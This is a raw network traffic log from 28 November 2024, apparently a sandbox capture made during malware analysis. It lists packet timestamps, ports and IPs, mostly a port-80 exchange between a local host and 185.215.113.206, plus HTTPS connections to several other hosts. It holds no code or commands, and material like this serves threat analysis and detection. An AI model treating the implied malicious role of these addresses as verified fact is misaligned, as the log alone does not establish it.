Nov 28, 2024 08:55:56.652395010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.652441978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.653148890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.653217077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.653418064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.653465033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.653955936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.654088974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.654176950 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.654880047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.654939890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.654939890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.655143023 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.655658007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.655708075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.655769110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.655963898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.656503916 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.656541109 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.656563044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.656613111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.657424927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.657479048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.657494068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.657541990 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.658217907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.658229113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.658273935 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.658297062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.658977032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.659034014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.659059048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.659102917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.659828901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.659869909 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.659897089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.659921885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.660661936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.660847902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.660907984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.661572933 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.661636114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.661653042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.661698103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.662323952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.662372112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.662393093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.662410021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.663176060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.663237095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.663274050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.663328886 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.664024115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.664091110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.664114952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.664187908 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.664912939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.664923906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.664973021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.665678978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.665731907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.665788889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.665855885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.666513920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.666558027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.666564941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.666603088 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.667345047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.667399883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.667432070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.667469025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.668220997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.668276072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.668289900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.668319941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.669018984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.669086933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.669260979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.669306993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.669931889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.669991016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.670000076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.670044899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.670660973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.670734882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.775389910 CET	49828	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:56.775427103 CET	443	49828	23.33.40.135	192.168.2.8
Nov 28, 2024 08:55:56.775650978 CET	49828	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:56.776468039 CET	49828	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:56.776482105 CET	443	49828	23.33.40.135	192.168.2.8
Nov 28, 2024 08:55:56.777049065 CET	49829	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:56.777082920 CET	443	49829	23.33.40.135	192.168.2.8
Nov 28, 2024 08:55:56.777187109 CET	49829	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:56.777523994 CET	49829	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:56.777535915 CET	443	49829	23.33.40.135	192.168.2.8
Nov 28, 2024 08:55:56.778773069 CET	49830	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:55:56.778803110 CET	443	49830	204.79.197.219	192.168.2.8
Nov 28, 2024 08:55:56.779016018 CET	49830	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:55:56.779201031 CET	49830	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:55:56.779215097 CET	443	49830	204.79.197.219	192.168.2.8
Nov 28, 2024 08:55:56.780239105 CET	49831	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:55:56.780272007 CET	443	49831	204.79.197.219	192.168.2.8
Nov 28, 2024 08:55:56.780580044 CET	49831	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:55:56.780781031 CET	49831	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:55:56.780793905 CET	443	49831	204.79.197.219	192.168.2.8
Nov 28, 2024 08:55:56.957978010 CET	443	49825	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:56.958473921 CET	49825	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:56.958494902 CET	443	49825	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:56.958890915 CET	443	49825	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:56.959235907 CET	49825	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:56.959310055 CET	443	49825	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:56.959453106 CET	49825	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:57.007328033 CET	443	49825	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:57.117069006 CET	49832	443	192.168.2.8	23.33.40.143
Nov 28, 2024 08:55:57.117110968 CET	443	49832	23.33.40.143	192.168.2.8
Nov 28, 2024 08:55:57.118160009 CET	49832	443	192.168.2.8	23.33.40.143
Nov 28, 2024 08:55:57.118418932 CET	49832	443	192.168.2.8	23.33.40.143
Nov 28, 2024 08:55:57.118432045 CET	443	49832	23.33.40.143	192.168.2.8
Nov 28, 2024 08:55:57.294781923 CET	443	49822	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:57.294802904 CET	443	49822	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:57.294882059 CET	49822	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:57.294897079 CET	443	49822	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:57.296730995 CET	443	49822	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:57.296869040 CET	49822	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:57.296916962 CET	49822	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:57.296928883 CET	443	49822	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:57.412795067 CET	443	49825	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:57.412883997 CET	443	49825	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:57.412975073 CET	49825	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:57.453515053 CET	49825	443	192.168.2.8	18.173.219.40
Nov 28, 2024 08:55:57.453541994 CET	443	49825	18.173.219.40	192.168.2.8
Nov 28, 2024 08:55:57.466269016 CET	443	49826	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:57.467470884 CET	49826	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:57.467484951 CET	443	49826	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:57.467967987 CET	443	49826	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:57.471245050 CET	49826	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:57.471359015 CET	443	49826	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:57.471919060 CET	49826	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:57.497993946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:57.498142958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:57.515346050 CET	443	49826	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:57.618058920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:57.618150949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:57.988997936 CET	443	49828	23.33.40.135	192.168.2.8
Nov 28, 2024 08:55:57.989437103 CET	49828	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:57.989459038 CET	443	49828	23.33.40.135	192.168.2.8
Nov 28, 2024 08:55:57.990475893 CET	443	49828	23.33.40.135	192.168.2.8
Nov 28, 2024 08:55:57.990560055 CET	49828	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:57.991518974 CET	49828	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:57.991594076 CET	443	49828	23.33.40.135	192.168.2.8
Nov 28, 2024 08:55:58.003465891 CET	49833	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:58.003500938 CET	443	49833	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:58.004076004 CET	49833	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:58.004302979 CET	49833	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:58.004314899 CET	443	49833	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:58.035284042 CET	49828	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:58.035293102 CET	443	49828	23.33.40.135	192.168.2.8
Nov 28, 2024 08:55:58.037189960 CET	443	49829	23.33.40.135	192.168.2.8
Nov 28, 2024 08:55:58.037811995 CET	49829	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:58.037825108 CET	443	49829	23.33.40.135	192.168.2.8
Nov 28, 2024 08:55:58.038878918 CET	443	49829	23.33.40.135	192.168.2.8
Nov 28, 2024 08:55:58.038935900 CET	49829	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:58.039340019 CET	49829	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:58.039392948 CET	443	49829	23.33.40.135	192.168.2.8
Nov 28, 2024 08:55:58.062351942 CET	443	49826	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:58.062366962 CET	443	49826	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:58.062417984 CET	49826	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:58.062427998 CET	443	49826	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:58.062442064 CET	443	49826	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:58.062504053 CET	49826	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:58.063359976 CET	49826	443	192.168.2.8	23.101.168.44
Nov 28, 2024 08:55:58.063373089 CET	443	49826	23.101.168.44	192.168.2.8
Nov 28, 2024 08:55:58.082144976 CET	49828	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:58.082237005 CET	49829	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:58.082245111 CET	443	49829	23.33.40.135	192.168.2.8
Nov 28, 2024 08:55:58.129081964 CET	49829	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:55:58.171463966 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:58.171502113 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:58.171756029 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:58.172472954 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:58.172487020 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:58.203999996 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:58.204057932 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:58.204227924 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:58.204956055 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:58.204973936 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:58.608891964 CET	443	49832	23.33.40.143	192.168.2.8
Nov 28, 2024 08:55:58.611577034 CET	49832	443	192.168.2.8	23.33.40.143
Nov 28, 2024 08:55:58.611597061 CET	443	49832	23.33.40.143	192.168.2.8
Nov 28, 2024 08:55:58.612639904 CET	443	49832	23.33.40.143	192.168.2.8
Nov 28, 2024 08:55:58.612715006 CET	49832	443	192.168.2.8	23.33.40.143
Nov 28, 2024 08:55:58.614317894 CET	49832	443	192.168.2.8	23.33.40.143
Nov 28, 2024 08:55:58.614403009 CET	443	49832	23.33.40.143	192.168.2.8
Nov 28, 2024 08:55:58.614885092 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:58.614903927 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:58.615147114 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:58.618302107 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:58.618315935 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:58.623651028 CET	443	49831	204.79.197.219	192.168.2.8
Nov 28, 2024 08:55:58.624056101 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:58.624135971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:58.630594015 CET	49831	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:55:58.630605936 CET	443	49831	204.79.197.219	192.168.2.8
Nov 28, 2024 08:55:58.631731987 CET	443	49831	204.79.197.219	192.168.2.8
Nov 28, 2024 08:55:58.631795883 CET	49831	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:55:58.637587070 CET	49831	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:55:58.637670994 CET	443	49831	204.79.197.219	192.168.2.8
Nov 28, 2024 08:55:58.654329062 CET	49832	443	192.168.2.8	23.33.40.143
Nov 28, 2024 08:55:58.654342890 CET	443	49832	23.33.40.143	192.168.2.8
Nov 28, 2024 08:55:58.691272974 CET	49831	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:55:58.691284895 CET	443	49831	204.79.197.219	192.168.2.8
Nov 28, 2024 08:55:58.702290058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:58.706918001 CET	49832	443	192.168.2.8	23.33.40.143
Nov 28, 2024 08:55:58.738147020 CET	49831	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:55:58.822432995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:59.168154001 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:59.168242931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:59.168312073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:59.168366909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:59.168545961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:59.168602943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:59.179662943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:59.299596071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:59.612418890 CET	443	49833	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:59.612940073 CET	49833	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:59.612973928 CET	443	49833	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:59.613328934 CET	443	49833	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:59.613890886 CET	49833	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:59.613950968 CET	443	49833	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:59.614362001 CET	49833	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:55:59.637754917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:59.637837887 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:59.654635906 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:59.655359030 CET	443	49833	20.110.205.119	192.168.2.8
Nov 28, 2024 08:55:59.774697065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:59.786278009 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.786571980 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:59.786595106 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.786927938 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.787230015 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:59.787292004 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.787414074 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:59.793426991 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.793689966 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:59.793704987 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.794029951 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.794434071 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:59.794492006 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.794677973 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:59.831341982 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.835324049 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.877300978 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.877609968 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:59.877623081 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.878921032 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.878984928 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:59.879388094 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:59.879446983 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.879549980 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:59.927328110 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.931288004 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:59.931298018 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:59.978162050 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.069199085 CET	443	49833	20.110.205.119	192.168.2.8
Nov 28, 2024 08:56:00.069319010 CET	443	49833	20.110.205.119	192.168.2.8
Nov 28, 2024 08:56:00.069420099 CET	49833	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:56:00.070759058 CET	49833	443	192.168.2.8	20.110.205.119
Nov 28, 2024 08:56:00.070772886 CET	443	49833	20.110.205.119	192.168.2.8
Nov 28, 2024 08:56:00.360666990 CET	49837	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:00.360716105 CET	443	49837	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:00.360929012 CET	49837	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:00.361123085 CET	49837	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:00.361138105 CET	443	49837	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:00.382792950 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.382818937 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.382833958 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.382889986 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.382910967 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.382941008 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.382960081 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.443932056 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.443953991 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.443962097 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.443991899 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.444015980 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.444019079 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.444029093 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.444047928 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.444058895 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.444075108 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.444111109 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.446726084 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.446743011 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.446758032 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.446831942 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.446850061 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.447015047 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.501966000 CET	443	49830	204.79.197.219	192.168.2.8
Nov 28, 2024 08:56:00.502374887 CET	49830	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:56:00.502401114 CET	443	49830	204.79.197.219	192.168.2.8
Nov 28, 2024 08:56:00.503520966 CET	443	49830	204.79.197.219	192.168.2.8
Nov 28, 2024 08:56:00.503588915 CET	49830	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:56:00.504254103 CET	49830	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:56:00.504323959 CET	443	49830	204.79.197.219	192.168.2.8
Nov 28, 2024 08:56:00.512223005 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.512242079 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.512320995 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.512352943 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.513044119 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.522744894 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.522772074 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.522852898 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.522877932 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.522958994 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.525115013 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.525192976 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.534694910 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.548754930 CET	49830	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:56:00.548764944 CET	443	49830	204.79.197.219	192.168.2.8
Nov 28, 2024 08:56:00.570820093 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.570839882 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.570924997 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.570936918 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.571186066 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.579200983 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.579279900 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.579417944 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.588176012 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.588192940 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.588257074 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.588263988 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.588326931 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.594590902 CET	49830	443	192.168.2.8	204.79.197.219
Nov 28, 2024 08:56:00.606695890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:56:00.606771946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:56:00.645153046 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.645173073 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.645237923 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.645251989 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.645298958 CET	49836	443	192.168.2.8	23.44.129.36
